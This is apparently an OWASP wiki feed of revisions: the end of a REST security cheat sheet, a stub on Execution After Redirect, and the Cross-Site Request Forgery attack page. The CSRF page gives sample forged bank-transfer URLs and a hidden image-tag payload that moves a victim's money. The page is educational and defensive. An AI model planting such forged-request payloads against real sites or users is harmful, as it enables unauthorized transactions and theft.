To make sure the content of a given resources is interpreted correctly by the browser, the server should always send the Content-Type header with the correct Content-Type, and preferably the Content-Type header should include a charset. The server should also send an &amp;lt;tt&amp;gt;X-Content-Type-Options: nosniff&amp;lt;/tt&amp;gt; to make sure the browser does not try to detect a different Content-Type than what is actually sent (can lead to XSS).&lt;br /&gt;
&lt;br /&gt;
Additionally the client should send an &amp;lt;tt&amp;gt;X-Frame-Options: deny&amp;lt;/tt&amp;gt; to protect against drag'n drop clickjacking attacks in older browsers.&lt;br /&gt;
&lt;br /&gt;
== JSON encoding ==&lt;br /&gt;
&lt;br /&gt;
A key concern with JSON encoders is preventing arbitrary JavaScript remote code execution within the browser... or, if you're using node.js, on the server. It's vital that you use a proper JSON serializer to encode user-supplied data properly to prevent the execution of user-supplied input on the browser.&lt;br /&gt;
&lt;br /&gt;
When inserting values into the browser DOM, strongly consider using &amp;lt;tt&amp;gt;.value&amp;lt;/tt&amp;gt;/&amp;lt;tt&amp;gt;.innerText&amp;lt;/tt&amp;gt;/&amp;lt;tt&amp;gt;.textContent&amp;lt;/tt&amp;gt; rather than &amp;lt;tt&amp;gt;.innerHTML&amp;lt;/tt&amp;gt; updates, as this protects against simple DOM XSS attacks. &lt;br /&gt;
&lt;br /&gt;
== XML encoding ==&lt;br /&gt;
&lt;br /&gt;
XML should never be built by string concatenation. It should always be constructed using an XML serializer. This ensures that the XML content sent to the browser is parseable and does not contain XML injection. For more information, please see the [[Web Service Security Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Cryptography =&lt;br /&gt;
&lt;br /&gt;
== Data in transit ==&lt;br /&gt;
&lt;br /&gt;
Unless the public information is completely read-only, the use of TLS should be mandated, particularly where credentials, updates, deletions, and any value transactions are performed. The overhead of TLS is negligible on modern hardware, with a minor latency increase that is more than compensated by safety for the end user.&lt;br /&gt;
&lt;br /&gt;
Consider the use of mutually authenticated client-side certificates to provide additional protection for highly privileged web services.&lt;br /&gt;
&lt;br /&gt;
== Data in storage ==&lt;br /&gt;
&lt;br /&gt;
Leading practices are recommended as per any web application when it comes to correctly handling stored sensitive or regulated data. For more information, please see [[Top 10 2010-A7|OWASP Top 10 2010 - A7 Insecure Cryptographic Storage]].&lt;br /&gt;
&lt;br /&gt;
= Message Integrity =&lt;br /&gt;
In addition to HTTPS/TLS, JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. JWT can not only be used to ensure the message integrity but also authentication of both message sender/receiver. The JWT includes the digital signature hash value of the message body to ensure the message integrity during the transmition.&lt;br /&gt;
&lt;br /&gt;
https://jwt.io/introduction/&lt;br /&gt;
&lt;br /&gt;
= HTTP Return Code =&lt;br /&gt;
HTTP defines status code [https://en.wikipedia.org/wiki/List_of_HTTP_status_codes].&lt;br /&gt;
When design REST API, don't just use 200 for success or 404 for error.&lt;br /&gt;
&lt;br /&gt;
Here are some guideline to consider for each REST API status return code. Proper error handle may help to validate the incoming requests and better identify the potential security risks.   &lt;br /&gt;
&lt;br /&gt;
* 200 OK - Response to a successful REST API action. The HTTP method can be GET, POST, PUT, PATCH or DELETE. &lt;br /&gt;
&lt;br /&gt;
* 400 Bad Request - The request is malformed, such as message body format error.&lt;br /&gt;
&lt;br /&gt;
* 401 Unauthorized - Wrong or no authencation ID/password provided.&lt;br /&gt;
&lt;br /&gt;
* 403 Forbidden - It's used when the authentication succeeded but authenticated user doesn't have permission to the request resource&lt;br /&gt;
&lt;br /&gt;
* 404 Not Found - When a non-existent resource is requested&lt;br /&gt;
&lt;br /&gt;
* 405 Method Not Allowed - The error checking for unexpected HTTP method. For example, the RestAPI is expecting HTTP GET, but HTTP PUT is used.&lt;br /&gt;
&lt;br /&gt;
* 429 Too Many Requests - The error is used when there may be DOS attack detected or the request is rejected due to rate limiting&lt;br /&gt;
&lt;br /&gt;
= Related articles =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
= Authors and primary editors  =&lt;br /&gt;
&lt;br /&gt;
Erlend Oftedal - erlend.oftedal@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew van der Stock - vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Tony Hsu Hsiang Chih- Hsiang_chihi@yahoo.com&amp;lt;br/&amp;gt;&lt;br /&gt;
== Other cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=142081</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=142081"/>
				<updated>2013-01-09T17:10:09Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Send to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=142077</id>
		<title>Execution After Redirect (EAR)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Execution_After_Redirect_(EAR)&amp;diff=142077"/>
				<updated>2013-01-09T15:56:02Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: Created page with &amp;quot;{{stub}}  {{Template:Attack}}  Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''  ==Overview== Execution After Redirect (EAR) is an attack whe...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{stub}}&lt;br /&gt;
&lt;br /&gt;
{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
Execution After Redirect (EAR) is an attack where an attacker ignores redirects and retrieves sensitive content intended for authenticated users. A successful EAR exploit can lead to complete compromise of the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test for EAR Vulnerabilities==&lt;br /&gt;
Using most proxies it is possible to ignore redirects and display what is returned. In this test we use Burp Proxy.&amp;lt;br&amp;gt;&lt;br /&gt;
# Intercept request https://vulnerablehost.com/managment_console&lt;br /&gt;
# Sent to repeater.&lt;br /&gt;
# View response.&lt;br /&gt;
&lt;br /&gt;
==How to Prevent EAR Vulnerabilities==&lt;br /&gt;
Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://cs.ucsb.edu/~bboe/public/pubs/fear-the-ear-ccs2011.pdf Fear the EAR: Discovering and Mitigating Execution After Redirect Vulnerabilities]&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=142076</id>
		<title>Cross-Site Request Forgery (CSRF)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)&amp;diff=142076"/>
				<updated>2013-01-09T15:14:58Z</updated>
		
		<summary type="html">&lt;p&gt;Robert Gilbert: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Overview==&lt;br /&gt;
CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF  exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.&lt;br /&gt;
&lt;br /&gt;
==Related Security Activities==&lt;br /&gt;
&lt;br /&gt;
===How to Review Code for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Reviewing code for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Test for CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for CSRF  (OWASP-SM-005) |Test for CSRF]] Vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
===How to Prevent CSRF Vulnerabilities===&lt;br /&gt;
&lt;br /&gt;
See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.&lt;br /&gt;
&lt;br /&gt;
Listen to the [http://www.owasp.org/download/jmanico/owasp_podcast_69.mp3 OWASP Top Ten CSRF Podcast].&lt;br /&gt;
&lt;br /&gt;
John Melton also has an [http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/ excellent blog post] describing how to use the native anti-CSRF functionality of the [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI].&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
Cross-Site Request Forgery (CSRF) is an attack that tricks the victim into loading a page that contains a malicious request. It is malicious in the sense that it inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attacks generally target functions that cause a state change on the server but can also be used to access sensitive data.&lt;br /&gt;
&lt;br /&gt;
For most sites, browsers will automatically include with such requests any credentials associated with the site, such as the user's session cookie, basic auth credentials, IP address, Windows domain credentials, etc.  Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish this from a legitimate user request.&lt;br /&gt;
&lt;br /&gt;
In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website.&lt;br /&gt;
&lt;br /&gt;
Sometimes, it is possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called Stored CSRF flaws. This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet.  The likelihood is also increased because the victim is sure to be authenticated to the site already.&lt;br /&gt;
&lt;br /&gt;
Synonyms: CSRF attacks are also known by a number of other names, including XSRF, &amp;quot;Sea Surf&amp;quot;, Session Riding, Cross-Site Reference Forgery, Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.&lt;br /&gt;
&lt;br /&gt;
===Prevention measures that do '''NOT''' work===&lt;br /&gt;
;Using a secret cookie&lt;br /&gt;
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.&lt;br /&gt;
&lt;br /&gt;
;Only accepting POST requests&lt;br /&gt;
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious link, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted in attacker's website with hidden values. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks form will do something else.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Risk Factors==&lt;br /&gt;
TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===How does the attack work?===&lt;br /&gt;
There are numerous ways in which an end-user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using bank.com. The request generated by Alice will look similar to the following:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 ...&lt;br /&gt;
 Content-Length: 19;&lt;br /&gt;
 &lt;br /&gt;
 acct=BOB&amp;amp;amount=100&lt;br /&gt;
&lt;br /&gt;
However, Maria notices that the same web application will execute the same transfer using URL parameters as follows:&lt;br /&gt;
&lt;br /&gt;
 GET &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=BOB&amp;amp;amount=100&amp;lt;/nowiki&amp;gt; HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now that her malicious request is generated, Maria must trick Alice into submitting the request. The most basic method is to send Alice an HTML email containing the following: &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;a href=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot;&amp;gt;View my Pictures!&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Assuming Alice is authenticated with the application when she clicks the link, the transfer of $100,000 to Maria's account will occur. However, Maria realizes that if Alice clicks the link, then Alice will notice that a transfer has occurred. Therefore, Maria decides to hide the attack in a zero-byte image:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img src=&amp;quot;http://bank.com/transfer.do?acct=MARIA&amp;amp;amount=100000&amp;quot; width=&amp;quot;1&amp;quot; height=&amp;quot;1&amp;quot; border=&amp;quot;0&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If this image tag were included in the email, Alice would only see a little box indicating that the browser could not render the image. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--==Related [[Threat Agents]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Cross-site Scripting (XSS)]]&lt;br /&gt;
* [[Cross Site History Manipulation (XSHM)]]&lt;br /&gt;
&amp;lt;!--==Related [[Vulnerabilities]]==&lt;br /&gt;
* TBD&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* Add a per-request nonce to URL and all forms in addition to the standard session. This is also referred to as &amp;quot;form keys&amp;quot;. Many frameworks (ex, Drupal.org 4.7.4+) either have or are starting to include this type of protection &amp;quot;built-in&amp;quot; to every form so the programmer does not need to code this protection manually. &lt;br /&gt;
* TBD: Add a per-session nonce to URL and all forms&lt;br /&gt;
* TBD: Add a hash(session id, function name, server-side secret) to URL and all forms&lt;br /&gt;
* TBD: .NET - add session identifier to ViewState with MAC&lt;br /&gt;
* Checking the referrer in the client's HTTP request will prevent CSRF attacks.  By ensuring the HTTP request have come from the original site means that the attacks from other sites will not function.  It is very common to see referrer checks used on embedded network hardware due to memory limitations.  XSS can be used to bypass both referrer and token based checks simultaneously.  For instance the Sammy Worm used an XHR to obtain the CSRF token to forge requests.&lt;br /&gt;
* &amp;quot;Although cross-site request forgery is fundamentally a problem with the web application, not the user, users can help protect their accounts at poorly designed sites by logging off the site before visiting another, or clearing their browser's cookies at the end of each browser session.&amp;quot; -http://en.wikipedia.org/wiki/Cross-site_request_forgery#_note-1&lt;br /&gt;
* [[Tokenizing]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* [http://www.cgisecurity.com/articles/csrf-faq.shtml The Cross-Site Request Forgery (CSRF/XSRF) FAQ]&lt;br /&gt;
: ''quote: &amp;quot;This paper serves as a living document for Cross-Site Request Forgery issues. This document will serve as a repository of information from existing papers, talks, and mailing list postings and will be updated as new information is discovered.&amp;quot;''&lt;br /&gt;
&lt;br /&gt;
* [[Testing for CSRF (OWASP-SM-005)|Testing for CSRF]]&lt;br /&gt;
: CSRF (aka Session riding) paper from the OWASP Testing Guide project (need to integrate)&lt;br /&gt;
&lt;br /&gt;
* [http://www.darkreading.com/document.asp?doc_id=107651&amp;amp;WT.svl=news1_2 CSRF Vulnerability: A 'Sleeping Giant']&lt;br /&gt;
: Overview Paper&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf Client Side Protection against Session Riding]&lt;br /&gt;
: Martin Johns and Justus Winter's interesting paper and presentation for the 4th OWASP AppSec Conference which described potential techniques that browsers could adopt to automatically provide CSRF protection - [http://www.owasp.org/index.php/Image:RequestRodeo-MartinJohns.pdf PDF paper]&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]]&lt;br /&gt;
: J2EE, .NET, and PHP Filters which append a unique request token to each form and link in the HTML response in order to provide universal coverage against CSRF throughout your entire application.&lt;br /&gt;
&lt;br /&gt;
* [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf A Most-Neglected Fact About Cross Site Request Forgery (CSRF)  ]&lt;br /&gt;
: Aung Khant, http://yehg.net, explained the danger and impact of CSRF with imperiling scenarios.&lt;br /&gt;
&lt;br /&gt;
* [[:Category:OWASP CSRFTester Project|OWASP CSRF Tester]]&lt;br /&gt;
: The OWASP CSRFTester gives developers the ability to test their applications for CSRF flaws.&lt;br /&gt;
&lt;br /&gt;
* [http://code.google.com/p/pinata-csrf-tool/ Pinata-CSRF-Tool: CSRF POC tool]&lt;br /&gt;
: Pinata makes it easy to create Proof of Concept CSRF pages. Assists in Application Vulnerability Assessment.&lt;br /&gt;
&lt;br /&gt;
[[Category:Exploitation of Authentication]]&lt;br /&gt;
[[Category:Embedded Malicious Code]]&lt;br /&gt;
[[Category:Spoofing]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Robert Gilbert</name></author>	</entry>

	</feed>